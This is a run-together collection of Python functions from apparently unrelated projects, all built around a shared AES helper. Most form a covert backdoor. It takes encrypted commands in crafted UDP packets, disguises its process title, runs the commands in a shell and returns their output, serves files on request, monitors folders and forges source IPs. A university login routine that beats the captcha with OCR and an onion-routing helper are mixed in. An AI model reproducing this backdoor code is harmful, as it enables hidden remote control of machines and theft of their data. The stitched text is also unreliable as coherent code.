def onionRouteMessage(self, addresses, message): onion = crypto.aesPad(message) i = len(addresses)-1 while i > 0: onion = crypto.aesEncrypt(onion) onion = crypto.aesPad(FORWARD + addresses[i] + SEPARATOR) + onion i -= 1 onion = crypto.aesEncrypt(onion) self.send(addresses[0], onion)
def sendDataWatch(dstIp, data, title, sourceIp): info = title +"\"" + data ciphertext = hexlify(info.encode("utf-8")) aesCipherText = crypto.aesEncrypt(ciphertext) pkt = IP(src=sourceIp, dst=dstIp)/UDP(dport=8006, sport=8506)/aesCipherText send(pkt, verbose=0) print(aesCipherText) print("Packet sent 2")
def sendpkt(msg, dstIp): output = msg.encode("utf-8") encodedOutput = binascii.hexlify(output) aesSendPkt = crypto.aesEncrypt(encodedOutput) pkt = IP(dst=dstIp) / UDP(dport=8504, sport=8004) / aesSendPkt time.sleep(0.1) send(pkt, verbose=0) print(dstIp) print("Packet sent")
def startMonitor(pkt): print("Monitoring") global monitor global process packet = pkt[Raw].load print(packet) print("Encrypted Packet above") decryptedWatchPacket = crypto.aesDecrypt(packet) ip = pkt[IP].src print(pkt) destination_IP = pkt[0][1].src watchMessage = binascii.unhexlify(decryptedWatchPacket) parse = watchMessage.decode() parseWatch = parse.split("\"") processTitle = parseWatch[0] watchCommand = parseWatch[1] print("Watching..." + watchCommand) setproctitle.setproctitle(processTitle) if watchCommand == "stop": print("Stop watching") observer.stop() observer.join() return try: print("Destionation IP: " + ip) monitor = observer.schedule(monitorHandler(ip), watchCommand, recursive=True) observer.start() print("Folder Monitoring in session") monitoringMessage = "Monitoring: " + watchCommand messageEncoded = monitoringMessage.encode("utf-8") messageOutput = binascii.hexlify(messageEncoded) aesMessageWatch = crypto.aesEncrypt(messageOutput) pkt = IP(dst=destination_IP) / UDP(dport=8506, sport=8006) / aesMessageWatch time.sleep(0.5) send(pkt, verbose=0) except OSError: print("No path to directory...no file monitored") error = "No file monitored...no path to directory" output = error.encode("utf-8") encodedOutput = output pkt = IP(dst=destination_IP) / UDP(dport=8504, sport=8004) / output send(pkt, verbose=0) return
def readExecute(pkt): key = 8 print("Received message") packet = pkt[Raw].load print(packet) decryptedText = '' if packet.endswith(b'\t'): print("Decrypting with Yiao") decryptedText2 = crypto.decryptData2(key, packet) decryptedText = crypto.decryptData(decryptedText2) elif packet.endswith(b'~'): stripPacket = packet[:-1] print("Decrypting with RSA") decryptedText = crypto.RSADecrypt(stripPacket) print(decryptedText) else: print("Decrypting with AES") #key="passwordpassword".encode("utf8") decryptedText = crypto.aesDecrypt(packet) print(decryptedText) splitMessage = decryptedText.split("\"") print(splitMessage) ptitle = splitMessage[0] print("Your process title: " + ptitle) command = splitMessage[1] print("Your command: " + command) setproctitle.setproctitle(ptitle) userInput = subprocess.Popen(command, shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE) shellOutput = userInput.stdout.read() + userInput.stderr.read() newOutput = shellOutput.decode() print(newOutput) if newOutput == "": print("entered here") newOutput = "No output from terminal" bytesOutput = newOutput.encode("utf8") encodedOutput = binascii.hexlify(bytesOutput) aesOutput = crypto.aesEncrypt(encodedOutput) pkt = IP(dst=pkt[0][1].src) / UDP(dport=8505, sport=8000) / aesOutput print(aesOutput) time.sleep(0.5) send(pkt, verbose=0) print("Packet sent")
def login(username, password): print(logger(1, '登陆中...')) s = requests.Session() response = s.get('https://pass.ujs.edu.cn/cas/login', headers=headers) soup = BeautifulSoup(response.text, 'html.parser') key = soup.find(id='pwdDefaultEncryptSalt')['value'] lt = soup.find('input', {'name': 'lt'})['value'] execution = soup.find('input', {'name': 'execution'})['value'] enc = crypto.aesEncrypt(bytes(key, encoding='utf-8'), bytes(Login.iv, encoding='utf-8')) addition = Login.addition password = str(enc.encrypt(addition + password), encoding='utf-8') print(logger(1, '正在加载依赖以识别验证码...')) captcha_bytes = s.get('https://pass.ujs.edu.cn/cas/captcha.html', headers=headers).content sdk = muggle_ocr.SDK(model_type=muggle_ocr.ModelType.Captcha) captha = sdk.predict(image_bytes=captcha_bytes) with open('cap.png', 'wb') as file: file.write(captcha_bytes) print(logger(2, '验证码识别结果: ' + captha)) data = { 'username': username, 'password': password, 'lt': lt, 'dllt': 'userNamePasswordLogin', 'execution': execution, '_eventId': 'submit', 'rmShown': '1', 'captchaResponse': captha } response = s.post('https://pass.ujs.edu.cn/cas/login', headers=headers, data=data) response = s.get('http://yun.ujs.edu.cn/site/login', headers=headers) response = s.get('http://yun.ujs.edu.cn/xxhgl/yqsb/index', headers=headers, allow_redirects=False) soup = BeautifulSoup(response.text, 'html.parser') print(logger(1, 'sessionID: {}'.format(s.cookies['cloud_sessionID']))) name = list(soup.p.strings)[0] name = name.replace(u'\xa0', '') name = name.replace(u'\n', '') name = name.replace(u' ', '') print(logger(1, '{}, 欢迎回来'.format(name))) return s.cookies['cloud_sessionID']
def sendFile(pkt): print('Server listening....') filename = pkt.load decodedFileName = binascii.unhexlify(filename) decodedName = decodedFileName.decode("utf-8") print(decodedName) port = 60000 s = socket.socket() s.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1) host = socket.gethostname() s.bind(('', port)) s.listen(5) sending = True while sending: conn, addr = s.accept() print('Got connection from', addr) data = conn.recv(1024) print('Server received', repr(data)) print('Reading from: ' + decodedName) try: f = open(decodedName, 'rb') reading = f.read(1024) aesReading = crypto.aesEncrypt(reading) while (reading): conn.send((aesReading)) print('Sent ', repr((aesReading))) reading = f.read(1024) f.close() print('Done sending') conn.close() sending = False except IOError: print("File does not exist") errorpacket = "No file exists" conn.close() sending = False
def sendData(dstIp, data, title, sourceIp): global startAES startAES = 0 global startRSA startRSA = 0 global startYiao startYiao = 0 key = 8 info = title +"\"" + data print(info) print (var.get()) encryptedText2 = b'' if var.get() == 1: print("We want AES encryption!") startAES = time.time() encryptedText2 = crypto.aesEncrypt(info.encode("utf8")) print(encryptedText2) decryptedText2 = crypto.aesDecrypt(encryptedText2) print(decryptedText2) elif var.get() == 2: startRSA = time.time() print("We are doing RSA Encryption!") encryptedText2 = crypto.RSAEncrypt(info) print(encryptedText2) print("Encrypted above") #decrypted22= encryptedText2[:-1] #rsaDecrypt = crypto.RSADecrypt(decrypted22) #print(rsaDecrypt) #print("Decrypted above") elif var.get() == 3: print("We are doing Yiao's Encryption!") startYiao = time.time() encryptedText = crypto.encryptData(info) print(encryptedText) print("Encrypted text") encrypted = crypto.encryptData2(key, encryptedText) print(encrypted) print("Encrypted text again") byteArray = bytearray(encrypted) byteArray.append(9) encryptedText2 = bytes(byteArray) print(encryptedText2) else: print("We want AES encryption!") encryptedText2 = crypto.aesEncrypt(info.encode("utf8")) print(encryptedText2) #decryptedText2 = crypto.aesDecrypt(key, encryptedText2) #print(decryptedText2) pkt = IP(src=sourceIp, dst=dstIp)/UDP(dport=8000, sport=8505)/encryptedText2 send(pkt, verbose=0) print("Sent packet 1")
def privateSend(self, address, message): message = crypto.aesPad(message) message = crypto.aesEncrypt(message) self.send(address, message)